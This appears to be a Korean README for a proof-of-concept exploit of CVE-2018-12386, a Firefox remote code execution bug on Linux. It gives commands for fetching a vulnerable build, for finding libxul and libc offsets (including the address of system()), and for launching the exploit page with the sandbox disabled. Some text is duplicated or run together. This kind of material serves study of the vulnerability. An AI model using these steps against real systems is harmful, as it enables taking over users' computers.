
# CVE-2018-12386 - Linux용 Firefox 샌드박스 RCE 익스플로잇 (Firefox <v62.0.3)
CVE-2018-12386 취약점에 대한 간단한 익스플로잇입니다. Niklas Baumstark, Samuel Groß, Bruno Keith가 발견했습니다.
이것은 대체로 제가 재미로 만든 Poc입니다. 샌드박스 우회는 없으며, 익스플로잇에 사용되는 오프셋이 이미 알려진 특정 Linux 환경에서만 작동합니다 (오프셋은 exploit/offsets.js에서 변경할 수 있습니다).
이 익스플로잇은 Firefox 62.0.3 및 Firefox ESR 60.2.2 이전 버전에서 작동합니다.
과거 Firefox 릴리스는 Mozilla FTP 서버에서 직접 다운로드할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/
예를 들어, 64비트 Linux용 62.0.2 버전을 사용할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soFirefox 62.0.2를 사용하는 경우, exploit/offsets.js에 제공된 오프셋이 정확해야 합니다.
다른 버전의 경우, 쉬운 방법은 addrof 프리미티브를 사용하여 JavaScript 함수 Math.max의 주소를 유출한 다음, 현재 익스플로잇 대상 Firefox 인스턴스의 libxul.so 베이스 주소를 찾아(예: cat /proc/$(pidof firefox)/maps) 두 값을 빼서 libxul_math_max 오프셋을 얻는 것입니다.
Firefox 62.0.2를 사용하는 경우, exploit/offsets.js에 제공된 오프셋이 정확해야 합니다.
다른 버전의 경우, 쉬운 방법은 objdump를 사용하는 것입니다.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370이 필요한 값, 즉 libxul.so에서 memmove의 오프셋입니다.
libc.so.6 오프셋이 오프셋들은 사용하는 libc 버전에 전적으로 의존합니다.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Firefox와 올바른 오프셋이 준비되면 다음 명령을 실행하여 익스플로잇을 테스트할 수 있습니다:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

인사하고 싶다면: @Asri3l